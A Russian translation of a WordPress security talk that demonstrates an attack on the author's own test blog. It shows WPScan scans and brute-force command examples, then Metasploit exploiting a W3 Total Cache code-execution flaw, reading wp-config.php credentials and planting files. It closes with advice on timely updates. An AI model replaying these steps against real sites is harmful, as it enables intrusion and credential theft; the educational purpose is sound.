WordPress, плохие парни и вы

Доброго  времени суток, уважаемые читатели блога «Мои тараканы»!

Плохие парни и вы

Недавно я публиковал перевод презентации Марка Монтегю. Сам автор назвал её менее полной версией той презентации, перевод которой вы можете прочесть ниже. Чтобы получить больше информации, в частности о том, какие типы злоумышленников встречаются в сети, что их мотивирует, и как защитить ваш сайт на WordPress читайте далее.

Марк Монтегю

mark@catseye.org

Многие слайды имеют записи с дополнительным материалом:

  • Нажмите „t“ для переключения между режимом слайдов и обзорным режимом. Записи будут видны в обзорном режиме. Или,
  • Нажмите „n“, чтобы увидеть заметки во всплывающем окне.

Данная презентация доступна по адресу
http://www-personal.umich.edu/~markmont/wby/

Копию презентации можно скачать по адресу
http://www-personal.umich.edu/~markmont/wby.zip

Кто я

  • Я – системный администратор и программист, который разрабатывает веб-приложения и осуществляет высокопроизводительные вычислительные исследования в университете Мичигана.
  • На моей предыдущей работе я в течение 5 лет отвечал за центральную веб-инфраструктуру Мичиганского университета, в том числе, за предоставление хостинга для сайтов WordPress.
  • Имею 19-летний опыт работы с попытками взломов и нарушений требований систем компьютерной безопасности.
  • Имею 11-летний опыт работы с веб-приложениями, включая WordPress, и  попытками взломов и нарушений требований систем безопасности в них.

Кем я НЕ являюсь

  • Экспертом по безопасности (знающим гораздо больше, чем я).
  • Плохим парнем (имеющим гораздо больше доступа к «инструментам плохих парней», чем я).

Данная презентация могла бы быть гораздо страшнее, если бы была сделана экспертом по безопасности или плохим парнем.

И эксперты по безопасности, и плохие парни имели бы для этого намного больше времени и знаний, чем такой универсал, как я.

Плохие парни имеют доступ к вредоносным программам, в том числе, к очень сложным инструментам, которые могут взломать веб-сайт, к форумам интернет-маркетинга black hat и многому другому. Наборы инструментов и эксплойты обычно покупаются и продаются за биткойны или доллары на сайтах черных рынков.

Эта презентация использует только «инструменты хороших парней», потому что я не хочу пользоваться ненадежным программным обеспечением или попасть в списки разыскиваемых правоохранительными органами.

Демонстрация — мишень

Объект атаки

http://myblog.catseye.org/

  • WordPress 3.8.1  (последняя доступная версия, показанная в этой презентации).
    • Плагин: W3 общей кэш-памяти 0.9.2.8 (имеет проблему с точки зрения безопасности! текущая версия 0.9.3)
  • Запущен на сервере Ubuntu 12.04.3 LTS 64 бит (текущая версия LTS), полностью исправлен/обновлен.

Все было настроено в соответствии с инструкциями на wordpress.org и ubuntu.com. Единственными дополнительными операциями, которые были проведены, были:

  • Разрешить комментариям появляться без заблаговременного одобрения комментатора (что делает отражение атаки более легким).
  • Включить постоянные ссылки pretty permalinks (необходимо для кэширования страниц общей кэш-памяти W3).
  • Включить Apache для перезаписи URL-адресов и файлов. htaccess  (необходимо для ссылок pretty permalinks).
  • Включить Apache mod_expires и mod_headers (для общей кэш-памяти W3).
  • Включить протокол SSH (для упрощения администрирования из командной строки).

Если WordPress оставить таким, какой он есть, по умолчанию – комментарии появляются, только если автор комментария заранее одобрил его – атака все равно будет происходить: мы же просто позволяем, в первую очередь, появиться запрашивающему разрешение комментарию, подождать своего одобрения, и только затем начать атаку.

Мы используем Ubuntu сервер LTS, так как это самый популярный выбор среди людей, которые управляют своим собственным сервером.

Демонстрация — злоумышленник

badguy.catseye.org

Демонстрация арсенала злоумышленника.

Мы используем последнюю версию Kali Linux 1.0.6 на основе платформы Debian 7 «Wheezy».

Kali Linux, http://www.kali.org/

  • Инструмент «хорошего парня», который позволяет компании тестировать свои сети по вопросу проблем безопасности.
  • Это, в целом, набор из более 300 средств безопасности, включая механизмы оценки безопасности, а также инструменты восстановления после атаки (утилита forensic tools).
  • Эта система полностью отвечает операционной системе Linux и может работать как с диска, так и будучи установленной на компьютере.
  • Мы используем его, потому что это самый быстрый и простой способ начать нашу атаку: скачать, загрузить, атаковать.
  • На самом деле, мы рассмотрим только два из тех инструментов, которые предоставляет Kali Linux:
    • WPScan: находит проблемы безопасности сайтов на WordPress и открывает путем подбора логины и пароли WordPress.
    • Metasploit: очень сложная структура тестирования систем безопасности, которая включает в себя веб-интерфейс, позволяющий нам совершать нападения, не нуждаясь в квалифицированных технических специалистах.

Вместо того чтобы использовать Kali Linux, мы могли бы просто скачать и установить WPScan и Metasploit. Для этого требуется только чуть-чуть больше технических знаний, чем при использовании Kali Linux, плюс немного больше работы конфигурации, что волне выполнимо. Мы просто очень поленились.

Демонстрация — WPScan

Чтобы узнать, как использовать WPScan, запустите его с параметром опции --help:

root@badguy:~# wpscan --help
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
_______________________________________________________________

Help :

Some values are settable in conf/browser.conf.json :
user-agent, proxy, proxy-auth, threads, cache timeout and request timeout

--update Update to the latest revision
--url | -u  The WordPress URL/domain to scan.
--force | -f Forces WPScan to not check if the remote site is running WordPress.
--enumerate | -e [option(s)] Enumeration.
option :
u usernames from id 1 to 10
u[10-20] usernames from id 10 to 20 (you must write [] chars)
p plugins
vp only vulnerable plugins
ap all plugins (can take a long time)
tt timthumbs
t themes
vt only vulnerable themes
at all themes (can take a long time)
Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
If no option is supplied, the default is "vt,tt,u,vp"

--exclude-content-based "" Used with the enumeration option, will exclude all occurrences based on the regexp or string supplied
You do not need to provide the regexp delimiters, but you must write the quotes (simple or double)
--config-file | -c  Use the specified config file
--follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not
--wp-content-dir  WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed
--wp-plugins-dir  Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
--proxy < [protocol://]host:port> Supply a proxy (will override the one from conf/browser.conf.json).
HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given (format host:port), HTTP will be used
--proxy-auth  Supply the proxy login credentials (will override the one from conf/browser.conf.json).
--basic-auth  Set the HTTP Basic authentication
--wordlist | -w  Supply a wordlist for the password bruter and do the brute.
--threads | -t  The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json)
--username | -U  Only brute force the supplied username.
--help | -h This help screen.
--verbose | -v Verbose output.

Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive' checks ...
ruby ./wpscan.rb --url www.example.com

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
ruby ./wpscan.rb --url www.example.com --enumerate p

-Enumerate installed themes ...
ruby ./wpscan.rb --url www.example.com --enumerate t

-Enumerate users ...
ruby ./wpscan.rb --url www.example.com --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

-Use a HTTP proxy ...
ruby ./wpscan.rb --url www.example.com --proxy 127.0.0.1:8118

-Use a SOCKS5 proxy ... (cURL >= v7.21.7 needed)
ruby ./wpscan.rb --url www.example.com --proxy socks5://127.0.0.1:9000

-Use custom content directory ...
ruby ./wpscan.rb -u www.example.com --wp-content-dir custom-content

-Use custom plugins directory ...
ruby ./wpscan.rb -u www.example.com --wp-plugins-dir wp-content/custom-plugins

-Update ...
ruby ./wpscan.rb --update

-Debug output ...
ruby ./wpscan.rb --url www.example.com --debug-output 2>debug.log

See README for further information.
Exiting!
root@badguy:~#

Демонстрация — WPScan

Давайте рассмотрим  http://arc.research.umich.edu/

root@badguy:~# wpscan --url arc.research.umich.edu
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
_______________________________________________________________

| URL: http://arc.research.umich.edu/
| Started: Sat Jan 25 17:24:11 2014

[+] robots.txt available under: 'http://arc.research.umich.edu/robots.txt'
[!] The WordPress 'http://arc.research.umich.edu/readme.html' file exists
[+] Interesting header: SERVER: Apache
[+] XML-RPC Interface available under: http://arc.research.umich.edu/xmlrpc.php
[+] WordPress version 3.5.1 identified from meta generator

[!] 8 vulnerabilities identified from the version number:
|
| * Title: WordPress 3.4 - 3.5.1 /wp-admin/users.php Malformed s Parameter Path Disclosure
| * Reference: http://seclists.org/fulldisclosure/2013/Jul/70
| * Reference: http://osvdb.org/95060
| * Fixed in: 3.5.2
|
| * Title: WordPress 3.4 - 3.5.1 DoS in class-phpass.php
| * Reference: http://seclists.org/fulldisclosure/2013/Jun/65
| * Reference: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2173
| * Reference: http://secunia.com/advisories/53676
| * Reference: http://osvdb.org/94235
|
| * Title: WordPress Multiple XSS
| * Reference: http://osvdb.org/94791
| * Reference: http://osvdb.org/94785
| * Reference: http://osvdb.org/94786
| * Reference: http://osvdb.org/94790
|
| * Title: WordPress TinyMCE Plugin Flash Applet Unspecified Spoofing Weakness
| * Reference: http://osvdb.org/94787
|
| * Title: WordPress File Upload Unspecified Path Disclosure
| * Reference: http://osvdb.org/94788
|
| * Title: WordPress oEmbed Unspecified XML External Entity (XXE) Arbitrary File Disclosure
| * Reference: http://osvdb.org/94789
|
| * Title: WordPress Multiple Role Remote Privilege Escalation
| * Reference: http://osvdb.org/94783
|
| * Title: WordPress HTTP API Unspecified Server Side Request Forgery (SSRF)
| * Reference: http://osvdb.org/94784

[+] WordPress theme in use: orci

| Name: orci
| Location: http://arc.research.umich.edu/wp-content/themes/orci/
| Directory listing enabled: Yes

[+] Enumerating plugins from passive detection ...
| 6 plugins found:

| Name: jquery-collapse-o-matic v1.5.1
| Location: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/
| Directory listing enabled: Yes
| Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/readme.txt

| Name: jquery-colorbox v4.6
| Location: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/
| Directory listing enabled: Yes
| Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/readme.txt

| Name: mailchimp v1.2.14
| Location: http://arc.research.umich.edu/wp-content/plugins/mailchimp/
| Directory listing enabled: Yes
| Readme: http://arc.research.umich.edu/wp-content/plugins/mailchimp/readme.txt

| Name: page-list v4.2
| Location: http://arc.research.umich.edu/wp-content/plugins/page-list/
| Directory listing enabled: Yes
| Readme: http://arc.research.umich.edu/wp-content/plugins/page-list/readme.txt

| Name: wp-paginate v1.2.4
| Location: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/
| Directory listing enabled: Yes
| Readme: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/readme.txt

| Name: youtube-shortcode v1.8.5
| Location: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/
| Directory listing enabled: Yes
| Readme: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/readme.txt
[+] Finished: Sat Jan 25 17:24:52 2014
[+] Memory used: 5.039 MB
[+] Elapsed time: 00:00:41
Exiting!
root@badguy:~#

Это тот сайт WordPress, который я часто использую в работе.

WPScan может сказать, что на сервере действует Apache, а не то, какая версия.

Хотя первое, что удержит людей от взлома вашего сайта, это если вы всегда идете в ногу с последними версиями программного обеспечения, тем не менее, этот сайт по-прежнему работает на WordPress 3.5.1. Это очень плохо; к сожалению, это не редкость.

WPScan обнаружено восемь уязвимых мест в системе безопасности. Многие из них едва ли будут полезны случайному злоумышленнику, но есть и те, которые ему вполне подойдут. Читайте подробности о каждой ссылке URL, которые выдает WPScan, чтобы узнать больше.

WPScan нашел одну тему («orci»), и шесть плагинов. Наверняка, есть еще то, что можно найти, запустив WPScan с исчерпывающим плагином поиска («wpscan —enumerate ap»).

Теперь очередь нашего сайта,  http://wordpressannarbor.com/

root@badguy:~# wpscan --url wordpressannarbor.com

_______________________________________________________________

__          _______   _____

\ \        / /  __ \ / ____|

\ \  /\  / /| |__) | (___   ___  __ _ _ __

\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \

\  /\  /  | |     ____) | (__| (_| | | | |

\/  \/   |_|    |_____/ \___|\__,_|_| |_|

 

WordPress Security Scanner by the WPScan Team

Version v2.2

Sponsored by the RandomStorm Open Source Initiative

@_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_

_______________________________________________________________

 

The plugins directory 'wp-content/plugins' does not exist.

You can specify one per command line option (don't forget to include the wp-content directory if needed)

Continue? [y/n] n

Exiting!

root@badguy:~#   # Hmm, let's pull up http://wordpressannarbor.com/ in a

root@badguy:~#   # web browser and view the page's HTML source.  Near the

root@badguy:~#   # top, we see that some things are under a directory named

root@badguy:~#   # 'wp'.  Let's run WPScan again and tell it that:

root@badguy:~#

root@badguy:~# wpscan --wp-plugins-dir wp/wp-content/plugins --url wordpressannarbor.com

_______________________________________________________________

__          _______   _____

\ \        / /  __ \ / ____|

\ \  /\  / /| |__) | (___   ___  __ _ _ __

\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \

\  /\  /  | |     ____) | (__| (_| | | | |

\/  \/   |_|    |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team

Version v2.2

Sponsored by the RandomStorm Open Source Initiative

@_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_

_______________________________________________________________

| URL: http://wordpressannarbor.com/

| Started: Sat Jan 25 17:28:46 2014

[+] robots.txt available under: 'http://wordpressannarbor.com/robots.txt'

[+] Interesting entry from robots.txt: /cgi-bin

[+] Interesting entry from robots.txt: /wp-admin

[+] Interesting entry from robots.txt: /wp-includes

[+] Interesting entry from robots.txt: /wp-content/plugins

[+] Interesting entry from robots.txt: /wp-content/cache

[+] Interesting entry from robots.txt: /wp-content/themes

[+] Interesting entry from robots.txt: /trackback

[+] Interesting entry from robots.txt: /comments

[+] Interesting entry from robots.txt: http://wordpressannarbor.com/wp-content/uploads

[+] Interesting header: LINK: <http://wp.me/2wcNs>; rel=shortlink

[+] Interesting header: SERVER: Apache

[+] Interesting header: SET-COOKIE: wooTracker=2H0UGV7DUT29; expires=Mon, 25-Jan-2016 22:28:57 GMT; path=/; domain=wordpressannarbor.com

[+] WordPress version 3.8.1 identified from meta generator

[+] WordPress theme in use: twentythirteen v1.1

| Name: twentythirteen v1.1

| Location: http://wordpressannarbor.com/wp-content/themes/twentythirteen/

[+] Enumerating plugins from passive detection ...

|  4 plugins found:

| Name: advanced-recent-posts-widget v1.1a

| Location: http://wordpressannarbor.com/wp/wp-content/plugins/advanced-recent-posts-widget/

| Directory listing enabled: Yes

| Readme: http://wordpressannarbor.com/wp/wp-content/plugins/advanced-recent-posts-widget/readme.txt

| Name: jetpack v2.6

| Location: http://wordpressannarbor.com/wp/wp-content/plugins/jetpack/

| Directory listing enabled: Yes

| Readme: http://wordpressannarbor.com/wp/wp-content/plugins/jetpack/readme.txt

| Name: social-media-widget v4.0.2

| Location: http://wordpressannarbor.com/wp/wp-content/plugins/social-media-widget/

| Directory listing enabled: Yes

| Readme: http://wordpressannarbor.com/wp/wp-content/plugins/social-media-widget/readme.txt

| Name: w3-total-cache

| Location: http://wordpressannarbor.com/wp/wp-content/plugins/w3-total-cache/

|

| * Title: W3 Total Cache - Username and Hash Extract

| * Reference: http://seclists.org/fulldisclosure/2012/Dec/242

| * Reference: https://github.com/FireFart/W3TotalCacheExploit

| * Reference: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6079

| * Reference: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6078

| * Reference: http://osvdb.org/92742

| * Reference: http://osvdb.org/92741

| * Reference: http://www.metasploit.com/modules/auxiliary/gather/wp_w3_total_cache_hash_extract

| * Fixed in: 0.9.2.5

|

| * Title: W3 Total Cache - Remote Code Execution

| * Reference: http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/

| * Reference: http://wordpress.org/support/topic/pwn3d

| * Reference: http://blog.sucuri.net/2013/04/update-wp-super-cache-and-w3tc-immediately-remote-code-execution-vulnerability-disclosed.html

| * Reference: http://www.metasploit.com/modules/exploits/unix/webapp/php_wordpress_total_cache

| * Fixed in: 0.9.2.9

|

| * Title: W3 Total Cache 0.9.2.9 - PHP Code Execution

| * Reference: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2010

| * Reference: http://secunia.com/advisories/53052

| * Reference: http://osvdb.org/92652

| * Reference: http://www.exploit-db.com/exploits/25137/

[+] Finished: Sat Jan 25 17:29:20 2014

[+] Memory used: 4.379 MB

[+] Elapsed time: 00:00:33

Exiting!
root@badguy:~#

Вот пример того, когда мы должны дать WPScan немного дополнительной помощи. Но это не сложно – мы просто посмотрим на HTML-код, который сайт отправляет на наш браузер, выясним, где находятся плагины (в wp/wp-content/plugins, а не в wp-content/plugins) и запустим WPScan снова с дополнительной опцией командной строки, чтобы передать это.

Этот сайт работает с общей кэш-памятью W3, но WPScan не смог определить номер версии (возможно, потому, что кто-то удалил файл плагина readme.txt или отключил каталог только для этого плагина?), поэтому он выдает список потенциальных проблем безопасности, которые могли бы существовать, если сайт использует старую версию плагина. Будем надеяться, что это не так, поскольку это одно из тех уязвимых мест, которые мы планируем использовать, когда будем совершать наши атаки на http://myblog.catseye.org/.

И вот намеченная нами цель, http://myblog.catseye.org/

root@badguy:~# wpscan --url myblog.catseye.org

_______________________________________________________________

__          _______   _____

\ \        / /  __ \ / ____|

\ \  /\  / /| |__) | (___   ___  __ _ _ __

\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \

\  /\  /  | |     ____) | (__| (_| | | | |

\/  \/   |_|    |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team

Version v2.2

Sponsored by the RandomStorm Open Source Initiative

@_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_

_______________________________________________________________

| URL: http://myblog.catseye.org/

| Started: Sat Jan 25 17:32:16 2014

 

[+] robots.txt available under: 'http://myblog.catseye.org/robots.txt'

[!] The WordPress 'http://myblog.catseye.org/readme.html' file exists

[+] Interesting header: SERVER: Apache/2.2.22 (Ubuntu)

[+] XML-RPC Interface available under: http://myblog.catseye.org/xmlrpc.php

[+] WordPress version 3.8.1 identified from meta generator

 

[+] Enumerating plugins from passive detection ...

|  1 plugins found:

 

| Name: w3-total-cache v0.9.2.8

| Location: http://myblog.catseye.org/wp-content/plugins/w3-total-cache/

| Readme: http://myblog.catseye.org/wp-content/plugins/w3-total-cache/readme.txt

|

 | * Title: W3 Total Cache - Remote Code Execution

 | * Reference: http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/

 | * Reference: http://wordpress.org/support/topic/pwn3d

 | * Reference: http://blog.sucuri.net/2013/04/update-wp-super-cache-and-w3tc-immediately-remote-code-execution-vulnerability-disclosed.html

 | * Reference: http://www.metasploit.com/modules/exploits/unix/webapp/php_wordpress_total_cache

 | * Fixed in: 0.9.2.9

 |

 | * Title: W3 Total Cache 0.9.2.9 - PHP Code Execution

 | * Reference: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2010

 | * Reference: http://secunia.com/advisories/53052

 | * Reference: http://osvdb.org/92652

 | * Reference: http://www.exploit-db.com/exploits/25137/

[+] Finished: Sat Jan 25 17:32:20 2014

[+] Memory used: 4.316 MB

[+] Elapsed time: 00:00:04

Exiting!
root@badguy:~#

WPScan смог показать нам не только, какое программное обеспечение веб-сервера используется, но и его версию.

WPScan нашел плагин общей кэш-памяти W3, и в данном случае (в отличие от предыдущего примера) смог определить (правильно), какой версии он принадлежит (скорее всего, потому что файл плагина readme.txt существует и доступен). Отметим, что в этом состоит серьезное уязвимое место для сайта, и мы используем эту информацию чуть позже, когда запустим нашу атаку.

Демонстрация — Metasploit

http://www.metasploit.com/

Metasploit

Metasploit доступен в четырех редакциях:

  • Metasploit Framework (бесплатно и с открытым исходным кодом, только командная строка)
  • Metasploit Community (бесплатно, включает в себя веб-интерфейс)
  • Metasploit Express, Metasploit Pro (коммерческий)

Чтобы запустить веб-интерфейс Metasploit на Kali Linux:

service postgresql start
service metasploit start

Затем перейдите по ссылке http://badguy.catseye.org:3790/

Все, что мы делаем в этой презентации, работает с Metasploit Framework или Metasploit Community. У нас есть7-дневная пробная лицензионная версия для редакции Metasploit Pro, для тех случаев, если кто-то хочет увидеть дополнительную функциональность.

Основные шаги:

  • Создать учетную запись пользователя Metasploit.
  • Получить лицензионный ключ (в редакции Community, Express или Pro).
  • Создать проект.
  • Провести проверочное сканирование.
  • Выбрать и запустить эксплойт, взламывающий сайт.
  • Делать все, что угодно, с взломанным сайтом.

Шаги 1 и 2 уже сделаны, мы начнем с шага 3.

Проект подобен контейнеру, который хранит следы систем, которые проходят испытания, и результаты испытаний.

Сканирование обнаружит, что доступно для тестирования.

Веб-интерфейс Metasploit – главная страница:

Веб-интерфейс Metasploit

Это та страница, которую пользователь получает после того, как он создал учетную запись пользователя Metasploit, запросил и ввел ключ продукта, и вошел в систему. Копия Metasploit, показанная здесь, это 7-дневная бесплатная пробная версия редакции Metasploit Pro, но редакция Community может делать все необходимое для этой демонстрации.

Нажмите на кнопку New Project, чтобы начать.

Веб-интерфейс Metasploit – добавление проэкта

Просто введите название проекта, либо ссылку на него в сети или IP-адрес того продукта, который вы будете испытывать, а затем нажмите кнопку Create Project.

Чтобы ускорить этот процесс, поскольку мы работаем с одной целью, укажем только его IP-адрес вместо указания сетевого.

Обзорная страница проекта:

Metasploit – обзорная страница проэкта

Для того, чтобы попытаться эксплуатировать уязвимые места, нам нужен хост (то есть сервер). В настоящее время, мы не располагаем знаниями ни об одном хосте. Нажмите кнопку Scan для сканирования IP-адресов или сетей, которые мы указали, когда создали проект, и поищите хосты.

Запуск проверки:

Metasploit - запуск сканирования

IP-адрес, который мы указали при создании проекта, автоматически заполняется за нас, просто нажмите кнопку Launch Scan.

Результаты сканирования:

Metasploit – результат сканирования

Сканирование завершено, и оно обнаружило сервер, который нас интересует. Нажмите кнопку Overview в верхней строке меню, чтобы вернуться на страницу обзора проекта.

Metasploit – вернутся на страницу обзора проекта

Теперь, когда мы знаем о хосте, мы можем сделать гораздо больше. Кнопка Exploit позволит нам попытаться автоматически прорваться на сайт. Но, поскольку мы знаем из WPScan, что на этом сайте работает уязвимый плагин, чтобы сэкономить время, нажмем кнопку Modules в верхнем меню и выберем опцию Search… . Затем поищем «wordpress».

Мы, собственно, используем Metasploit для задач гораздо более низкого уровня сложности, нежели те, для которых он предназначен, не задействуя для простоты большое количество графиков и статистики.

Список эксплойт-модулей Metasploit для WordPress:

Metasploit – модули WordPress

Нажмите на «Wordpress W3 Total Cache PHP Code Execution».

WordPress имеет множество уязвимых мест, которые не перечислены здесь. Если мы заинтересованы в каких-то действиях, не показанных здесь, мы можем создать эксплойт-модуль самостоятельно или эксплуатировать его за пределами Metasploit.

Metasploit – выбор модуля для атаки

На этой странице есть много опций. Единственное, что мы хотим изменить – это  полезная нагрузка, которая должна быть изменена с Meterpreter на Command Shell. Затем нажмите на кнопку Run Exploit, которая не отображена на скриншоте, но ее можно найти в нижней части страницы.

Payload (полезная нагрузка) – это код для запуска на удаленном сервере после успешного взлома. Он может быть как простым в виде одной команды, так и сложным, формата больших, сложных программ, которые дают Вам полный контроль над компьютером.

В Meterpreter полезная нагрузка на самом деле намного более впечатляющая и имеет больше возможностей, чем в Command Shell, но Command Shell является более подходящей для данной демонстрации.

Запуск эксплойта:

Metasploit – запуск эксплойта

Вот и весь сказ! Веб-сервер взломан.

Обратите внимание, что появляется (1) рядом с Sessions в верхнем меню, указывающее на то, что теперь мы можем осуществлять действия на взломанном сервере. Нажмите на Sessions.

Список сессий:

Metasploit – список сессий

Нажмите на название сеанса в левом столбце, чтобы перейти к этой сессии.

Демонстрация — Metasploit

Сессия:

Metasploit – сессия

Щелкните по кнопке Command Shell, чтобы получить доступ к удаленной командной консоли, которая была запущена на взломанном сервере, когда был применен эксплойт.

Есть много инструментов для сбора информации, доступных, если кликнуть по вкладке Post-Exploitation Modules, но мы не будем на них останавливаться.

Щелкните по кнопке Command Shell, чтобы получить доступ к удаленной командной консоли, которая была запущена на взломанном сервере, когда эксплойт был осуществлен.

Metasploit – запуск командной строки на сервере.

Это удаленная командная консоль на целевом сервере. Каждая введенная команда выполняется отдельно, нет никакой связи между командами, как было бы в реальной оболочке. Это означает, среди прочего, что вы не можете изменить каталоги (текущий каталог – корневой каталог /).

Здесь мы должны взглянуть на некоторые каталоги на взломанном сервере.

Еще больше веселья с оболочкой:

Metasploit – доступ к объектам на сервере

Злоумышленник, вероятно, будет иметь доступ к еще большему количеству объектов на сервере, которые обычно не доступны через WordPress, таких как домашние каталоги пользователей Linux.

Metasploit – доступ к паролям WordPress и базе данных

Здесь мы извлекаем информацию из базы данных при помощи файла wp-config.php. Если мы не знаем где он, мы можем поискать, используя команду ls; или, в полезной нагрузке Meterpreter содержится утилита point-and-click file, которую можно применить здесь.

Как только мы получим информацию из базы данных, мы можем подключиться к базе данных и сбросить всю учетную информацию пользователей WordPress, в том числе хешированные пароли. Хешированные пароли можно запускать через программы взлома паролей, которые часто обнаруживают оригинальные пароли хешей.

Если бы мы захотели, мы могли бы модифицировать базу данных – например, добавив нового пользователя с правами администратора, что позволило бы нам войти в систему через веб-интерфейс и управлять всем сайтом. Или мы могли бы создать новый пост или страницу, просто вписав их в базу данных.

Мы можем выполнить любую команду, какую захотим, на правах пользователя этого веб-сервера, каковым мы и являемся для него (пользователь www-data в данном случае), но у нас нет административного контроля над сервером – нам пришлось бы использовать второй эксплойт (если бы мы могли), чтобы взломать операционную систему и стать системным администратором.

Давайте создадим интернет-магазин!

Metasploit – создаём интернет магазин

Изменения для нашего магазина:

Metasploit – изменения в магазине

Обратите внимание на новый каталог с именем «store» («магазин»), которого не существовало до того, как мы запустили последнюю команду.

Магазин готов

 

Давайте посмотрим на побочные эффекты эксплойта.

Мусор в комментариях

Обратите внимание на мусор в  комментариях, который ставил эксплойт. Запись содержала HTML-комментарий (не показан), который содержит PHP-код, использованный ненадлежащим образом из-за уязвимости плагина общей кэш-памяти W3.

Подобные комментарии могут быть доказательством взлома (как в этом случае), но могут и указывать на неудачную попытку пробиться на сайт (если общая кэш-память W3 не была запущена или если запущенная версия не имела уязвимых мест).

Если бы мы вводили эксплойт вручную, а не через Metasploit, мы могли бы придать комментарию видимость легитимного, если бы мы смогли обойти первую модерацию комментариев, или обойти капчу, хотя стоит ли так заморачиваться ради этого.

«Окно уязвимости»

Окно уязвимости – это промежуток времени с того момента, как кто-то узнает о проблеме безопасности до тех пор, пока не начинаются действия по решению этой проблемы для конкретного сайта WordPress. Для уязвимого места службы удаленного выполнения общей кэш-памяти W3 , которую мы только что рассматривали:

  • Уязвимое место было обнаружено около 25 февраля 2013 года. Это сказалось и на текущей версии плагина (0.9.2.8), и на большинстве предыдущих версий.
  • Уязвимое место было исправлено в общей кэш-памяти W3 0.9.2.9 17 апреля 2013 года.

Подразумевается, что никто не знал об уязвимости в частном порядке до того, как авторы плагина не узнали об этом.

Некоторые люди, которые обнаруживают уязвимые места, информируют авторов в частном порядке; это лучший сценарий развития событий, если авторы вовремя отреагируют на информацию (многие этого не делают).

Иногда уязвимые места обнаруживаются публично, когда люди начинают замечать, что сайты WordPress, которые неуязвимы для любой известной атаки, оказываются так или иначе взломанными, и уязвимые места собираются воедино и отражаются в системных файлах и других вещественных доказательствах. Это наихудший сценарий.

Как долго тот или иной сайт будет уязвим, зависит от того, как часто сайт обновляет плагины, которые он использует. Если сайт проверяет наличие обновленных плагинов…

  • Ежедневно: он будет уязвим около 52 дней.
  • Еженедельно: он будет уязвим около 59 дней.
  • Ежемесячно: они будет уязвим около 83 дней.

В настоящее время, прошло уже 338 дней с того момента, как об уязвимых местах было публично объявлено, но по-прежнему высока вероятность того, что есть еще много сайтов, которые еще не обновлялись.

Эти виды окон уязвимости не являются редкостью – на самом деле, они достаточно типичны, поэтому важно обновлять регулярно. Рекомендую обновлять плагины по меньшей мере раз в неделю.

Обратите внимание, что начиная с 17 апреля, было выпущено четыре новых версии плагина общей кэш-памяти W3: 0.9.2.9, 0.9.2.10, 0.9.2.11, и 0.9.3.

Насколько плоха ситуация?

В недавнем докладе (24 сентября 2013) приведены результаты обследования более 42 000 наиболее посещаемых сайтов WordPress во всем мире. Хорошие новости:

  • 18,6% (7.814 сайтов) использовали последнюю версию WordPress (3.6.1), которая были доступны лишь за 12 дней до того момента и включала в себя несколько важных поправок системы безопасности.
  • 31,0% (13.034 сайтов) использовали версию WordPress 3.6, которая была новейшей версией до 11 сентября.

Плохие новости:

  • 73,2% (30.822 сайта) были уязвимы, основываясь исключительно на той версии WordPress, которой они пользовались. Если вы также относитесь к тем, кто по-прежнему использует уязвимые темы или плагины, число, скорее всего, будет выше.
  • 50,6% (21.258 сайтов) использовали версии WordPress старше 3.6, в том числе 3.2.х, 3.3.х, 3.4.X и 3.5.х

